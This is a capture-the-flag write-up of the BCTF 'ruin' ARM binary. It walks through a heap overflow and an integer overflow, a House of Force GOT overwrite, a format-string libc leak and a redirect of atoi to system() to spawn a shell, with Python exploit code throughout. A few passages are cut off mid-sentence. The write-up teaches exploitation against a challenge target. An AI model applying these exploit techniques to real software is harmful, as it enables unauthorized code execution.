This is an ARM 32b exploitation challenge part of the BCTF competition, which I’ve enjoyed playing with the team TheGoonies. During the competition, only 18 teams (out of the 500+) were able to solve it. All props to them!
The technique I used to solve it is a bit twisted but it works fine and reliably. So hang on ☺
Info
gef➤ !file ruin.7b694dc96bf316a40ff7163479850f78
ruin.7b694dc96bf316a40ff7163479850f78: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 2.6.26, BuildID[sha1]=072b955ca434ca0c1df6507144d4a2c4cdc9078e, stripped
gef➤ checksec ruin.7b694dc96bf316a40ff7163479850f78
[+] checksec for 'ruin.7b694dc96bf316a40ff7163479850f78'
Canary: Yes
NX Support: Yes
PIE Support: No
RPATH: No
RUNPATH: No
Partial RelRO: No
Full RelRO: No
Since the target is an ARM binary, I heavily relied on the tool I wrote, GDB-GEF to help me in the exploitation process.
Vulnerability
ruin
is an ARM ELF binary that allows you to store “securely” messages in memory, acting like a safe.
The real main()
function starts at 0x00008A88 and starts by allocating on the heap (malloc()
) an 8-byte chunk, then jump to a function at 0x89CC (which I’ve called get_key_security
) to authenticate and unlock the safe.
The strncmp()
call trivially shows the expected initial key, in this case security
. Once the safe is unlocked, 4 different operations are possible:
- Update the key (function @0x000087D0, which I will call
update_key()
in the rest of this write-up): this function will allocate a 16-bytekey
chunk, and copy the content from stdin. - Edit a secret stored (function @0x0000884C, which I will call
edit_secret()
): if thesecret
chunk is not allocated, then the function invokesmalloc(8)
. Then it performs anfgets()
to store 24 bytes from stdin (us!) into this buffer. We immediately spot a heap overflow here. - Sign the secret with your name (function @0x000088B8,
sign_name()
): if thename
chunk is not NULL (i.e. already allocated), then the function returns. Otherwise, it calls theread_int()
function at 0x0875C which prompts the user for the name size withatoi()
, checks it’s higher than 0x20 bytes, if so,malloc(size)
and reads its contents from stdin usingfgets()
.
.text:0000875C read_int ; CODE XREF: sign_name+34
.text:0000875C result = -0x2C
.text:0000875C buffer = -0x28
.text:0000875C canary = -8
.text:0000875C
[...]
.text:00008774 LDR R3, =stdin
.text:00008778 LDR R3, [R3]
.text:0000877C SUB R2, R11, #-buffer
.text:00008780 MOV R0, R2 ; s
.text:00008784 MOV R1, #32 ; n
.text:00008788 MOV R2, R3 ; stream
.text:0000878C BL fgets
.text:00008790 SUB R3, R11, #-buffer
.text:00008794 MOV R0, R3 ; nptr
.text:00008798 BL atoi
.text:0000879C STR R0, [R11,#result]
- Leave (function @0x00008978,
leave()
): invokesfree()
to de-allocate the 3 buffers allocated by the steps above, and then exit cleanly.
We have 2 vulnerabilities here:
- The heap overflow explained in the
edit_secret()
function - The integer overflow from the
sign_name()
function, since theatoi()
call is not checked for negative integer before being compared. This allows us to control the size of the nextmalloc()
call (the one used to store the name).
Exploitation
The House of Force
With those 2 vulnerabilities, and the fact that we can control another chunk to be allocated (through the update_key()
function), we have now a perfect scenario for an “House of Force” heap exploitation. If you need a reminder, I recommend you read this and this.
The idea behind this attack (which still works against recent libc heap allocator), is to be able to control the size of one chunk. By making the value of the size for this new chunk very big, it will allow us to overflow the address space, and make the chunk upper bound finish in an “interesting” writable location, for example, the Global Offset Table.
When we reach the “main” loop, the secret
chunk (8 bytes) is already allocated. So we can use the malloc(name_size)
to create a chunk that will overflow the address space and end in the GOT, which starts at 0x00010F48.
0xffffffff . .
. .
| ^ |
| | |
| | |
| | | malloc() call for allocating the
| | | name.
| |
| |
| secret | <- Heap overflow: we can overwrite the
| | chunk)
| |
. .
. .
| |
| printf@got |
| exit@got |
| puts@got | <- Target we want overridden
| free@got | so we make malloc(name_length)
| | header). The next malloc(key) will
| | overwrite the GOT with controlled
| | data.
0x00000000 . .
So what size do we need for the name chunk? We know that the key chunk can write 16 bytes, so 4 DWORD. And also, the target address must be aligned to 2 DWORD (8 bytes - because it is an ARM 32 bits).
Leaking heap memory
But we have a problem, we don’t know where the heap pages are located in the memory fread()
, which unlike fgets()
does not append a NULL byte at the end of the string.
This allows to leak addresses some precious bytes from the heap, doing something like this:
def auth(s):
s.read_until("please input your 8-bit key:")
s.write("A"*8)
leak = s.read_until("\n")
leak = leak.replace(" is wrong, try again!\n", '')
leak = leak.replace('A'*8, '')
if len(leak)<4: leak += "\x00"*(4-len(leak))
leak = i_u(leak)
s.read_until("please input your 8-bit key:")
s.write("security")
return leak
Controlling $pc
From the heap memory leak, we know the address of the secret
chunk, which means that the name
chunk headers will be located exactly 8 bytes after.
| secret | name | | key |
So we must set the length for the name
chunk dynamically by using the update_key()
function:
ATOI_GOT = 0x00010F80 - 2*8
[...]
def sign_name(s, addr):
select_menu_entry(s, 3)
new_sz = -addr + ATOI_GOT
name = "JUNK"*8
ok("malloc(name) with size=%#x" % new_sz)
s.read_until("please input your name length:")
s.write("%d\n" % new_sz)
s.read_until("enter your name:")
s.write(name)
return
secret_addr = leak - 8
name_addr = secret_addr + 8 + 8
sign_name(s, name_addr)
The heap is now set dynamically with the correct offset. The next call to malloc()
will overwrite the GOT entry of atoi@got
with our data!
def update_key(s):
ok("malloc(key)")
select_menu_entry(s, 1)
key = ""
key+= "\xbb"*4 # atoi@got will be overwritten with this value
key+= "B"*4 + "C"*4 + "D"*4
s.read_until("enter the new 16-bit key:")
s.write(key)
s.read_until("the key is updated!")
return
def leave(s):
ok("Leaving - and triggering atoi@got")
select_menu_entry(s, 4)
return
Which produces the following result in gef
:
Bingo! We control the execution flow! Good! But now where do we go?
The binary is dynamically linked, and does not contains any gadget that would allow us to call directly execve
so we need a leak from the libc.
Using function indirection to leak memory using printf
I’m not sure if this is the best way to do, but I like this approach: the idea is that, when you can overwrite the GOT, point an “interesting” function of the control flow to printf@plt
. This way, if you can control the parameter of this call, you can use a regular format string attack to read/write everywhere!!
The read_int()
(at 0x875c) offers a perfect exploitation case:
fgets
at 0x878c allows us to provide 32 bytes in the stack, which will be given to atoi
as a parameter. So if we overwrite atoi@got
with the address of printf@plt
, we have a good case for a format string attack.
So using the technique above, we can overwrite atoi@got
with the address of printf
in the PLT:
.plt:00008594 ; int printf(const char *format, ...)
.plt:00008594 printf ; CODE XREF: print_banner+58
.plt:00008594 ; update_key+38 ...
.plt:00008594 ADR R12, 0x859C
.plt:00008598 ADD R12, R12, #0x8000
.plt:0000859C LDR PC, [R12,#(printf_ptr - 0x1059C)]! ; __imp_printf
update_key(s, PRINTF_IMPORT, False)
ok("atoi@got: %#x -> %#x" % (ATOI_GOT, PRINTF_IMPORT))
So now every time the control flow will hit the atoi()
function, the printf()
stub will be executed, and we will receive the argument from the socket! So every time the banner will prompt for a choice (1-4), the buffer we send will be the argument to printf()
.
Triggering the exploit
By leaking the memory, we find that an address to the libc can be found (at least) at the offset 21:
On the C library I tested, the system()
function was located at an offset of 0x37524 from the base. So now, we know the address of system()
:
while True:
s.write("data> %21$#.8x\n")
leak = s.read_until("\n")
if "data> " in leak:
break
libc_leak = int(leak.strip().split()[-1], 16)
libc_base = libc_leak - 0x16d24
libc_system = libc_base + 0x37524
ok("Got libc_leak: %#x" % libc_leak)
ok("Got libc_base: %#x" % libc_base)
ok("Got libc_system: %#x" % libc_system)
And to complete the exploitation, all we must do is overwrite again atoi@got
with the address of system()
, and when fgets()
will be triggered, simply enter the command we want to execute, in this case /bin/sh
will do:
update_key(s, libc_system, True)
ok("atoi@got: %#x -> %#x" % (ATOI_GOT, libc_system))
s.write("/bin/sh"+'\x00'*10)
s.write("\n")
The exploit is complete, we can run it:
And as always, go here for the full exploit.
Peace out ✌